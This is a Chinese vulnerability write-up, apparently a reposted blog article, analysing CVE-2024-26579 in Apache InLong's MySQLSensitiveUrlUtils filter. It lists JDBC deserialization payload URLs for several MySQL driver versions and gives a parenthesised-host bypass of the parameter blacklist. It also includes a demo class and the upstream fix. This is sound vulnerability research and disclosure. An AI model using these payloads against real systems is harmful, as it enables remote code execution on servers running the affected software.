漏洞描述
Apache InLong 是开源的高性能数据集成框架,用于业务构建基于流式的数据分析、建模和应用。
受影响版本中,由于 MySQLSensitiveUrlUtils 类只限制了?形式的JDBC连接字符串参数,攻击者可通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数。并通过#注释后续内容,绕过从而此前修复过滤逻辑,在连接攻击者可控的服务地址时,攻击者可利用该漏洞远程执行任意代码。
影响范围
org.apache.inlong:inlong-manager@[1.7.0, 1.12.0)
以上信息来自:OSCS社区
前置知识
JDBC反序列化
jdbc反序列化漏洞原理就是因为其url可控导致我们可以连接一个恶意的mysql服务器,在建立连接的过程中拿到恶意的数据导致反序列化漏洞。
fnmsd师傅总结的不同版本下的POC:
ServerStatusDiffInterceptor触发:
8.x
:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
6.x(属性名不同)
:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.11及以上的5.x版本(包名没有了cj)
:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.10及以下的5.1.X版本:同上,但是需要连接后执行查询。
5.0.x:还没有ServerStatusDiffInterceptor这个东西┓( ´∀` )┏
detectCustomCollations触发:
5.1.41及以上:不可用
5.1.29-5.1.40
:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
5.1.28-5.1.19
:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
5.1.18以下的5.1.x版本:不可用
5.0.x版本不可用
关键点
拿8.0.12的来看,autoDeserialize
为True,才会进入到最后readObject()
来进行一个反序列化的操作。
详细分析可以看Tri0mphe师傅的文章:小白看得懂的MySQL JDBC 反序列化漏洞分析
所以,payload中的autoDeserialize=true
就必不可缺。
因为在防御JDBC反序列化漏洞时,一个思路就是检查jdbc
的url
中是否存在autoDeserialize=true
Apache InLong中的防御
下边我们看看Apache InLong中对JDBC反序列化漏洞是如何进行防御的,防御代码主要写在MySQLSensitiveUrlUtils
这个工具类中。
路径:inlong-manager/manager-pojo/src/main/java/org/apache/inlong/manager/pojo/util/MySQLSensitiveUrlUtils.java
我们把1.11.0版本中MySQLSensitiveUrlUtils关键的代码分析一下:
定义一个常量 SENSITIVE_REPLACE_PARAM_MAP
,其中包含了需要替换的敏感参数,以及它们替换后的值。这个常量是一个 Map,其中键为需要替换的参数名,值为替换后的参数值。
private static final Map<String, String> SENSITIVE_REPLACE_PARAM_MAP = new HashMap<String, String>() {
{
put("autoDeserialize", "false");
put("allowLoadLocalInfile", "false");
put("allowUrlInLocalInfile", "false");
}
};
定义另一个常量 SENSITIVE_REMOVE_PARAM_MAP
,其中包含了需要删除的敏感参数。这个常量是一个 Set,其中包含了需要删除的参数名。
private static final Set<String> SENSITIVE_REMOVE_PARAM_MAP = new HashSet<String>() {
{
add("allowLoadLocalInfileInPath");
}
};
最重要的部分
首先判断输入的 URL 中是否包含问号(?)字符,如果存在参数部分,则进入处理过程。
if (resultUrl.contains(InlongConstants.QUESTION_MARK)) {
创建一个 StringBuilder 对象,用于构建处理后的 URL。先将问号之前的部分加入 StringBuilder 中,并添加一个问号。
Copy CodeStringBuilder builder = new StringBuilder();
builder.append(StringUtils.substringBefore(resultUrl, InlongConstants.QUESTION_MARK));
builder.append(InlongConstants.QUESTION_MARK);
创建一个 List 对象 paramList,用于存储处理后的参数。从输入的 URL 中获取参数部分,并将其赋值给 queryString 变量。如果 queryString 中包含井号(#),则将井号之前的部分作为新的 queryString。
Copy CodeList<String> paramList = new ArrayList<>();
String queryString = StringUtils.substringAfter(resultUrl, InlongConstants.QUESTION_MARK);
if (queryString.contains("#")) {
queryString = StringUtils.substringBefore(queryString, "#");
}
遍历 queryString 中的每一个参数,将参数名和参数值分别存储到 key 和 value 变量中。然后判断该参数名是否需要替换或删除,如果是,则跳过该参数,否则将其加入 paramList 中。最后将需要替换的参数及其对应的值也加入 paramList 中。
Copy Codefor (String param : queryString.split(InlongConstants.AMPERSAND)) {
String key = StringUtils.substringBefore(param, InlongConstants.EQUAL);
String value = StringUtils.substringAfter(param, InlongConstants.EQUAL);
if (SENSITIVE_REMOVE_PARAM_MAP.contains(key) || SENSITIVE_REPLACE_PARAM_MAP.containsKey(key)) {
continue;
}
paramList.add(key + InlongConstants.EQUAL + value);
}
SENSITIVE_REPLACE_PARAM_MAP.forEach((key, value) -> paramList.add(key + InlongConstants.EQUAL + value));
将 paramList 中的参数用 & 符号连接起来,并加入 StringBuilder 中,最终得到处理后的 URL。
Copy CodeString params = StringUtils.join(paramList, InlongConstants.AMPERSAND);
builder.append(params);
resultUrl = builder.toString();
总结
1、先取?
前的部分
2、之后就是对?
之后(若存在#
,则是?
和#
之间)的参数进行一个处理,比如:
queryString 的值为 "user=root&password=123456#qwe=123",执行该段代码后,queryString 的值将被修改为 "user=root&password=123456",然后进行一个黑名单的匹配
3、处理完之后拼接
调试
public static void main(String[] args) {
String url="jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc";
String s = filterSensitive(url);
System.out.println(s);
}
一句话说就是有#,就把?和#之间的黑名单匹配;没#,就把?之后的拿出来黑名单匹配
漏洞分析
刚刚也说了,黑名单的匹配主要是对?
和#
之间的数据匹配,那如果autoDeserialize=true
不在?
和#
之间并且url语法还正确,是不是就可以绕过了呢?(其实#
的影响并不大,主要是?
)
在mysql⽂档中找到了一下几种形式的url格式来绕过黑名单
比如:
payload:
jdbc:mysql://(host=127.0.0.1,port=3306,autoDeserialize=true,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,user=yso_JRE8u20_calc)/test
因为不存在?
,直接绕过了黑名单的判断
漏洞修复
通过commit:https://github.com/apache/inlong/commit/eef8d05b0bf61ea60a7ea5dfd31010c0b2bf57a8
在之前原有的的黑名单处理操作前又加了一步:
for (String key : SENSITIVE_REPLACE_PARAM_MAP.keySet()) {
resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"true", InlongConstants.EMPTY);
resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"yes", InlongConstants.EMPTY);
}
使用StringUtils.replaceIgnoreCase方法对URL字符串进行替换操作,将值为"true"或"yes"的敏感参数移除。
测试环境
导入依赖:
<!-- https://mvnrepository.com/artifact/org.apache.inlong/inlong-common -->
<dependency>
<groupId>org.apache.inlong</groupId>
<artifactId>manager-common</artifactId>
<version>1.11.0</version>
</dependency>
demo:
package org.example.jdbc;
import org.apache.inlong.manager.common.consts.InlongConstants;
import org.apache.inlong.manager.common.exceptions.BaseException;
import org.apache.commons.lang3.StringUtils;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
public class jdbc {
private static final Map<String, String> SENSITIVE_REPLACE_PARAM_MAP = new HashMap<String, String>() {
{
put("autoDeserialize", "false");
put("allowLoadLocalInfile", "false");
put("allowUrlInLocalInfile", "false");
}
};
private static final Set<String> SENSITIVE_REMOVE_PARAM_MAP = new HashSet<String>() {
{
add("allowLoadLocalInfileInPath");
}
};
public static String filterSensitive(String url) {
if (StringUtils.isBlank(url)) {
return url;
}
try {
String resultUrl = url;
while (resultUrl.contains(InlongConstants.PERCENT)) {
resultUrl = URLDecoder.decode(resultUrl, "UTF-8");
}
resultUrl = resultUrl.replaceAll(InlongConstants.REGEX_WHITESPACE, InlongConstants.EMPTY);
// 修复代码
// for (String key : SENSITIVE_REPLACE_PARAM_MAP.keySet()) {
// resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"true", InlongConstants.EMPTY);
// resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"yes", InlongConstants.EMPTY);
// }
if (resultUrl.contains(InlongConstants.QUESTION_MARK)) {
StringBuilder builder = new StringBuilder();
builder.append(StringUtils.substringBefore(resultUrl, InlongConstants.QUESTION_MARK));
builder.append(InlongConstants.QUESTION_MARK);
List<String> paramList = new ArrayList<>();
String queryString = StringUtils.substringAfter(resultUrl, InlongConstants.QUESTION_MARK);
if (queryString.contains("#")) {
queryString = StringUtils.substringBefore(queryString, "#");
}
for (String param : queryString.split(InlongConstants.AMPERSAND)) {
String key = StringUtils.substringBefore(param, InlongConstants.EQUAL);
String value = StringUtils.substringAfter(param, InlongConstants.EQUAL);
if (SENSITIVE_REMOVE_PARAM_MAP.contains(key) || SENSITIVE_REPLACE_PARAM_MAP.containsKey(key)) {
continue;
}
paramList.add(key + InlongConstants.EQUAL + value);
}
SENSITIVE_REPLACE_PARAM_MAP.forEach((key, value) -> paramList.add(key + InlongConstants.EQUAL + value));
String params = StringUtils.join(paramList, InlongConstants.AMPERSAND);
builder.append(params);
resultUrl = builder.toString();
}
return resultUrl;
} catch (Exception e) {
throw new BaseException(String.format("Failed to filter MySQL sensitive URL: %s, error: %s",
url, e.getMessage()));
}
}
public static void main(String[] args) {
String url="jdbc:mysql://(host=127.0.0.1,port=3306,autoDeserialize=true,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,user=yso_JRE8u20_calc)/test";
String s = filterSensitive(url);
System.out.println(s);
}
}
参考文章
https://xz.aliyun.com/t/8159
https://www.anquanke.com/post/id/203086
首发先知社区,作者Yu9
链接:https://xz.aliyun.com/t/14616
原文始发于微信公众号(安服仔Yu9):Apache InLong < 1.12.0 JDBC反序列化漏洞分析(CVE-2024-26579)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论